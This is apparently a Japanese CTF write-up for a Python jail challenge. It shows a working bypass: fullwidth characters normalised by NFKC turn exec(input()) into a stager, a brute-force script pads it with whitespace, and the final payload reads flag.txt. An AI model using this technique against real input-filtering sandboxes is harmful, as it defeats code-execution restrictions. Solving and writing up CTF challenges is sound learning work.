- Source: Full Weak Engineer CTF 2025
- Author: t-chen
ごくシンプルなjail問。base64が英大文字と数字だけの文字列をpythonとして実行することができる。
#!/usr/local/bin/python3 -S
import string
import base64
allowed = string.ascii_uppercase + string.digits
code = input("enter your base64 code> ")
assert all(x in allowed for x in code)
code = base64.b64decode(code.encode())
exec(code)
flagはflag.txtにあるのでprint(open("flag.txt").read())などを実行することが目標になるが、base64の制約があるので厳しい。
Pythonでexec()に渡された文字列はUnicord NFKCによって正規化されるので、その範囲で意味のある文字列が作れないか試していると、execとinputが英大文字と数字だけになることを見つけた。
ここからexec(input())を実行してstagerとし、その後任意のPythonを実行する方針を立てた。
Pythonで空白として利用できる文字は半角スペース、Tab文字、\x0cの3つなので、これらをいい感じに挿入してbase64が英大文字と数字だけになるパターンを総当たりで見つけるスクリプトを書いた。
import base64
import string
from itertools import product
chars = ['\x20', '\x09', '\x0c'] # space, tab, formfeed
allowed = string.ascii_uppercase + string.digits
def enum_patterns(n):
for length in range(1, n + 1):
for p in product(chars, repeat=length):
yield ''.join(p)
enumset = list(enum_patterns(4))
for i in range(len(enumset)):
for j in range(len(enumset)):
for k in range(len(enumset)):
for l in range(len(enumset)):
payload = f"exec({enumset[i]}input({enumset[j]}){enumset[k]}){enumset[l]}"
encoded = base64.b64encode(payload.encode()).decode()
if all(x in allowed for x in encoded):
print(encoded)
exit(0)
これで772F772Y772F772DKCAJ772J772O772Q772V772UKCAJKSAJKSAJという文字列が見つかったので、あとはやるだけ。
$ nc localhost 5000
enter your base64 code> 772F772Y772F772DKCAJ772J772O772Q772V772UKCAJKSAJKSAJ
print(open("flag.txt").read())
fwectf{4pig4pii4pij4pig4pii4pij4pig4pii4pij}
fwectf{4pig4pii4pij4pig4pii4pij4pig4pii4pij}

